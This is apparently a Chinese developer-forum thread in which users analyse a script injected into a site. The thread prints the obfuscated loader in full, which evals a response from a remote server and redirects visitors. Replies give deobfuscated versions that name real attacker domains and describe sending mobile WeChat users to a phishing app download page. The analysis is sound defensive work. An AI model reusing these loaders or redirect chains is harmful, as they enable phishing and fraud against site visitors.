访问以后可以拿到:<script/src=//mo.ffbon.com/zzzz></script>%
域名查了,是前不久在 alibabaglobal 买的
再访问就可以看到一个加密的 js 代码:
var version_='jsjiami.com.v7';var _0x14f009=_0x53b8;function _0x53b8(_0x262706,_0x3e358c){var _0x522920=_0x5229();return _0x53b8=function(_0x53b803,_0x3c83f2){_0x53b803=_0x53b803-0x14d;var _0x5c60b1=_0x522920[_0x53b803];if(_0x53b8['PJuQhT']===undefined){var _0x2c2073=function(_0x32ae92){var _0x53d115='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x421dfe='',_0x10fd48='';for(var _0x13e9e6=0x0,_0x245401,_0x146a02,_0x446228=0x0;_0x146a02=_0x32ae92['charAt'](_0x446228++);~_0x146a02&&(_0x245401=_0x13e9e6%0x4?_0x245401*0x40+_0x146a02:_0x146a02,_0x13e9e6++%0x4)?_0x421dfe+=String['fromCharCode'](0xff&_0x245401>>(-0x2*_0x13e9e6&0x6)):0x0){_0x146a02=_0x53d115['indexOf'](_0x146a02);}for(var _0x3b2e04=0x0,_0x2c6669=_0x421dfe['length'];_0x3b2e04<_0x2c6669;_0x3b2e04++){_0x10fd48+='%'+('00'+_0x421dfe['charCodeAt'](_0x3b2e04)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x10fd48);};var _0x767da8=function(_0x31adf8,_0x182f4c){var _0x2535e6=[],_0x154504=0x0,_0x2983aa,_0x252b02='';_0x31adf8=_0x2c2073(_0x31adf8);var _0x29782e;for(_0x29782e=0x0;_0x29782e<0x100;_0x29782e++){_0x2535e6[_0x29782e]=_0x29782e;}for(_0x29782e=0x0;_0x29782e<0x100;_0x29782e++){_0x154504=(_0x154504+_0x2535e6[_0x29782e]+_0x182f4c['charCodeAt'](_0x29782e%_0x182f4c['length']))%0x100,_0x2983aa=_0x2535e6[_0x29782e],_0x2535e6[_0x29782e]=_0x2535e6[_0x154504],_0x2535e6[_0x154504]=_0x2983aa;}_0x29782e=0x0,_0x154504=0x0;for(var _0x44a4e6=0x0;_0x44a4e6<_0x31adf8['length'];_0x44a4e6++){_0x29782e=(_0x29782e+0x1)%0x100,_0x154504=(_0x154504+_0x2535e6[_0x29782e])%0x100,_0x2983aa=_0x2535e6[_0x29782e],_0x2535e6[_0x29782e]=_0x2535e6[_0x154504],_0x2535e6[_0x154504]=_0x2983aa,_0x252b02+=String['fromCharCode'](_0x31adf8['charCodeAt'](_0x44a4e6)^_0x2535e6[(_0x2535e6[_0x29782e]+_0x2535e6[_0x154504])%0x100]);}return _0x252b02;};_0x53b8['BQMHdH']=_0x767da8,_0x262706=arguments,_0x53b8['PJuQhT']=!![];}var _0x3c9c50=_0x522920[0x0],_0x3e7979=_0x53b803+_0x3c9c50,_0x2201e0=_0x262706[_0x3e7979];return!_0x2201e0?(_0x53b8['RjVJVx']===undefined&&(_0x53b8['RjVJVx']=!![]),_0x5c60b1=_0x53b8['BQMHdH'](_0x5c60b1,_0x3c83f2),_0x262706[_0x3e7979]=_0x5c60b1):_0x5c60b1=_0x2201e0,_0x5c60b1;},_0x53b8(_0x262706,_0x3e358c);}(function(_0x507990,_0x50e0e9,_0x13e534,_0x320e1b,_0x2f4f04,_0x877a64,_0x214804){return _0x507990=_0x507990>>0x4,_0x877a64='hs',_0x214804='hs',function(_0x2b2ade,_0x26792f,_0x294692,_0x3a3af8,_0x1bd3e4){var _0x1aad5a=_0x53b8;_0x3a3af8='tfi',_0x877a64=_0x3a3af8+_0x877a64,_0x1bd3e4='up',_0x214804+=_0x1bd3e4,_0x877a64=_0x294692(_0x877a64),_0x214804=_0x294692(_0x214804),_0x294692=0x0;var _0x2daf5c=_0x2b2ade();while(!![]&&--_0x320e1b+_0x26792f){try{_0x3a3af8=-parseInt(_0x1aad5a(0x162,'UI*a'))/0x1*(-parseInt(_0x1aad5a(0x16a,'KZI7'))/0x2)+parseInt(_0x1aad5a(0x14d,'hYoQ'))/0x3+-parseInt(_0x1aad5a(0x152,'r1[x'))/0x4*(parseInt(_0x1aad5a(0x16b,')*GJ'))/0x5)+parseInt(_0x1aad5a(0x15b,'v!!W'))/0x6*(parseInt(_0x1aad5a(0x168,'30S!'))/0x7)+-parseInt(_0x1aad5a(0x15d,'UI*a'))/0x8+-parseInt(_0x1aad5a(0x150,'c9ms'))/0x9+-parseInt(_0x1aad5a(0x167,'30S!'))/0xa;}catch(_0x2710cd){_0x3a3af8=_0x294692;}finally{_0x1bd3e4=_0x2daf5c[_0x877a64]();if(_0x507990<=_0x320e1b)_0x294692?_0x2f4f04?_0x3a3af8=_0x1bd3e4:_0x2f4f04=_0x1bd3e4:_0x294692=_0x1bd3e4;else{if(_0x294692==_0x2f4f04['replace'](/[MIXYJWHyENUfqdDrKQ=]/g,'')){if(_0x3a3af8===_0x26792f){_0x2daf5c['un'+_0x877a64](_0x1bd3e4);break;}_0x2daf5c[_0x214804](_0x1bd3e4);}}}}}(_0x13e534,_0x50e0e9,function(_0x28edbb,_0x1c6743,_0x4b8bc2,_0xb03efb,_0x5c483a,_0x1daba7,_0x20198c){return _0x1c6743='\x73\x70\x6c\x69\x74',_0x28edbb=arguments[0x0],_0x28edbb=_0x28edbb[_0x1c6743](''),_0x4b8bc2='\x72\x65\x76\x65\x72\x73\x65',_0x28edbb=_0x28edbb[_0x4b8bc2]('\x76'),_0xb03efb='\x6a\x6f\x69\x6e',(0x13b4c4,_0x28edbb[_0xb03efb](''));});}(0xcd0,0x84fbf,_0x5229,0xcf),_0x5229)&&(version_=_0x5229);var url=window[_0x14f009(0x153,'v!!W')][_0x14f009(0x166,'MmtO')],link=_0x14f009(0x163,'MV%i'),xmlHttp=new XMLHttpRequest();function _0x5229(){var _0x87ae92=(function(){return[version_,'rfjWWMsNdYjiaNmQIKi.WXDcJofEmq.UNvQH7yID==','W67cKCoMaI4comoFvHCoif4','W7vbW6m','Amo6WOPm','WQ0aWRjdW5ddM8kqWR3cKCo4zK4b','WQShW4eiWRdcLmouWQC','ySoXdSkR','qG97cePXySoh','W7NdVbDLybxcGq','W7ldGGL5tmk/WOnJzfLUb8kc','WPdcI8kC'].concat((function(){return['W7PaWRXFbSokWQJcJmo1W7KfFSke','WO3cT8oxoCk5xSo0dmkiAMZcOW','wmoZomk+Dq','swTKCGzZwrFcRSoaDMDJ','W7v7DvZcUZnbvG','BmoTdq','W7BcV8ogWO4tqv4','WO9jm8kQW5yrEh3dNSoKyq','W5tcNu/cTq','W75eW48xy8kiW67cKq','WOWkEmob','W6pcJbCWuSohfwddRMPTy34'].concat((function(){return['WQ0MlWNdUMPbDSkzW70EWO0','W7DCW7yvWOxcH8ozWP3cGmorDuOSW63cLmkVqSof','W5njk8kxWQldQ8oKWO7cImoiWOZdMCot','AmoPWOC','DgJdM3LA','maldU3BcKh5PW5iwjSktaq','xMddP20','W5fnjCktWQRcVCkNWPdcO8o1WQ4','WQufW74FrmofWRxdT8kkWQzgumkApSoFds7cVXWluJ7cVheMWPzPzCoTWPRcVCkoadGguSo/WQ9jjhJdVxbgdIVcIqdcKuXzW5LkW61h'];}()));}()));}());_0x5229=function(){return _0x87ae92;};return _0x5229();};xmlHttp[_0x14f009(0x157,'2hDe')](_0x14f009(0x15e,'^Wqq'),link+'?url='+url,!![]),xmlHttp[_0x14f009(0x161,'JT]B')](null),xmlHttp[_0x14f009(0x15c,'30S!')]=function(){var _0x2688aa=_0x14f009,_0x2671a5={'YmRpR':function(_0x595dd6,_0x21996e){return _0x595dd6(_0x21996e);}},_0x2fbb94=_0x2671a5[_0x2688aa(0x151,'$bHC')](eval,'('+xmlHttp[_0x2688aa(0x160,'DvM#')]+')');console[_0x2688aa(0x14e,'3eu#')](_0x2fbb94[_0x2688aa(0x165,'30S!')]),_0x2fbb94[_0x2688aa(0x169,'$bHC')]==0x1?location[_0x2688aa(0x159,'UI*a')]=_0x2fbb94['data']:_0x2671a5[_0x2688aa(0x15f,'JT]B')](alert,_0x2fbb94[_0x2688aa(0x154,'$bHC')]);};var version_ = 'jsjiami.com.v7';
1
x86 2023-09-04 14:15:33 +08:00
jsjiami.com 打开就自动登入了一个别人的号 🤣
|
2
justNoBody OP @x86 是说这个 js 在登录账号做解密么?
|
3
fangdajiang 2023-09-04 14:36:45 +08:00
FROM GPT4:
当然可以。这段代码经过混淆,但我们可以大致了解其功能: 1. **初始变量声明**: - `version_`:一个字符串变量,初始化为`'jsjiami.com.v7'`。 - `_0x14f009`:初始化为函数`_0x53b8`。 - 代码中使用了多个混淆的函数和变量名,这使得代码难以一眼看明白。 2. **函数 `_0x53b8`**: - 这个函数似乎是某种解密或解码功能。它接受两个参数,然后通过多个解码逻辑进行处理。 - 这个函数的内部逻辑包括 base64 解码、一种 RC4 加密算法的形式以及一些字符串操作。 - 它似乎用 RC4 算法进行解密。 3. **匿名函数调用**: - 在`_0x53b8`函数定义后,有一个立即调用的函数表达式( IIFE )。这是 JavaScript 中常用的一种模式,用于在定义函数后立即执行它。 - 这个 IIFE 似乎负责设置一些混淆或编码逻辑。 4. **网络请求逻辑**: - 代码定义了一个`url`变量,它获取当前窗口的位置( URL )。 - `link`被初始化为一个字符串,但其值被混淆了。 - 创建了一个`XMLHttpRequest`对象`xmlHttp`。这是 JavaScript 中用于发出异步 HTTP 请求的方法。 - 然后代码设置`xmlHttp`对象向混淆的`link`发送 GET 请求,并附带当前的`url`作为参数。这似乎是一个 API 调用或对某个外部服务的调用。 - 当请求完成时(`onreadystatechange`事件),代码使用`eval`函数评估响应(如果响应不是来自可信源,使用`eval`函数可能是危险的)。然后将结果记录到控制台,并根据结果可能重定向用户。 5. **最后一行**: - 最后一行将`version_`变量重新初始化为它开始的值。 总的来说,这段代码的目的似乎是: 1. 设置混淆和解密逻辑。 2. 向一个混淆的链接发出网络请求,并将当前窗口的 URL 作为参数。 3. 处理响应并可能根据结果重定向用户。 考虑到代码的混淆性质,特别是当它们使用`eval`函数时,处理此类脚本需要特别小心,因为它们可能执行潜在的恶意代码。 |
4
zhyl 2023-09-04 15:12:18 +08:00
```
var url = window['location']['href'], link = 'https://206codes.fyjdyp.cn/api.php/portal/index/geturlb', xmlHttp = new XMLHttpRequest() xmlHttp['open']('GET', link + '?url=' + url, !![]), xmlHttp['send'](null), (xmlHttp['onreadystatechange'] = function () { _0x2fbb94 = eval('(' + xmlHttp['responseText'] + ')') console['log'](_0x2fbb94['msg']), _0x2fbb94['code'] == 0x1 ? (location['href'] = _0x2fbb94['data']) : alert(_0x2fbb94['msg']) }) ``` |
5
zhyl 2023-09-04 15:13:52 +08:00
动态直接接口下发的代码
|
9
AlexPUBLIC 2023-09-04 16:13:43 +08:00
@zhyl url 是对的
|
10
InDom 2023-09-04 16:20:23 +08:00
https://www.qs5.org/Post/673.html 可以参考我写的这个,这个玩意的原理上是一样的。解出来的代码应该与 4 楼差不多
|
11
Maerd 2023-09-04 16:31:57 +08:00
@zhyl 你这手解的怎么和我用工具反混淆出来的一样呢,而且错的地方也一样,抓个包能很明显发现这个 url 并没有被请求到,对 mo.ffbon.com/zzzz 进行重写替换上述代码,也无法实现跳转效果,这种情况很明显是反混淆工具在环境检测的时候走向了错误的分支
|
13
Maerd 2023-09-04 17:35:19 +08:00
原代码会检测目标平台,如果是 pc 端则跳转百度,如果是移动端,则通过阿里云的白域名 ffbon.com 跳转两次,然后再跳转到到移动云,通过移动云跳转到钓鱼 app 下载网站,所有的内容都是动态生成,但是伪装成了静态页。我猜测这种方式应该是为了过微信和国家防火墙的反诈检测,搞得还挺麻烦🤔待我整理一下放出反混淆后的内容
|
14
justNoBody OP @Maerd 更骚的是 他一开始用的域名是 piaoniu.com 这个是有备案的
|
15
Maerd 2023-09-04 17:58:48 +08:00
@justNoBody 他用的所有的域名都有备案,应该是电报上面黑产卖的那种
|
16
Maerd 2023-09-04 18:05:47 +08:00 1
这个链接返回的是第一层加密 js ,逆向后按照下方代码请求后,会得到第二层加密 js ,最后跳转到钓鱼页面
![钓鱼 app]( https://img1.imgtp.com/2023/09/04/HuDxKzqv.jpg) 以下是反混淆内容 ```javascript // 注意:以下内容需要在移动端微信浏览器中打开,node 端无法测试 // 如需要在 pc 端浏览器测试,请将 ua 改为微信内置浏览器 ua // 例:Mozilla/5.0 (Linux; Android 13; PHB110 Build/TP1A.220905.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/5235 MMWEBSDK/20230701 MMWEBID/8568 MicroMessenger/8.0.40.2420(0x28002837) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 /** * 获取指定 url 参数 */ function getParam(queryStr = "", key = null) { var pattern = new RegExp("(^|&)" + key + "=([^&]*)(&|$)", "i"), groups = queryStr.substr(1).match(pattern); // 有对应的 url 参数返回编码后的 url 参数,没有则返回空 return (groups != null) ? unescape(groups[2]) : "" } /** * 环境检测,此处逻辑应当是为了防止在 pc 端打开,仅检测手机端,用于跳转钓鱼网站 */ function envCheck(ciValue) { // 如果没有 ci 参数,跳转到百度 var baiduUrl = "https://www.baidu.com" if (!ciValue) { location.replace(); return; } var platforms = { "win": false, "mac": false, "xll": false } // 此处为环境检测,node 环境没有 navigator 对象,测试时可以将下属 8 行代码注释掉 var currentPlatform = navigator.platform; platforms.win = currentPlatform.indexOf("Win") == 0; platforms.mac = currentPlatform.indexOf("Mac") == 0; platforms.x11 = currentPlatform == "X11" || currentPlatform.indexOf("Linux") == 0; // 如果是 win 、mac 、x11 环境,跳转到百度 if (platforms.win || platforms.mac || platforms.xll) { location.replace(baiduUrl); return; } } /** * 发送钓鱼请求,此处用了 xhr 请求,node 无法请求,实际测试时请自行替换 */ function main() { // 此处原内容为 window.location.search ,为 node 环境测试方便,使用楼主提供的 url // var queryStr = window.location.search; var queryStr = "?ci=j63sohnl&s://www.qunar.com/kong/pbray?ex_track=auto_5a3b7302"; var ciValue = getParam(queryStr, "ci") // envCheck(ciValue); // 在桌面端平台这行可以省略,因为会跳转到百度 var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { xhr.readyState == 4 && xhr.status == 200 && window.location.replace(xhr.responseText); }; xhr.open("POST", "https://hj.ffbon.com/blii.html", true); xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); // var _0x1d1a3b = window.localStorage.getItem("xxio" + ciValue); // _0x1d1a3b == null ? (window.localStorage.setItem("xxio" + ciValue, "gsdfsds"), _0x1d1a3b = 0) : _0x1d1a3b = 1; xhr.send("vi=" + ciValue + "&nu=" + 1); } //执行入口 main() ``` |
17
justNoBody OP @Maerd 我感觉是把别人家的网站漏洞找到了以后做的吧
|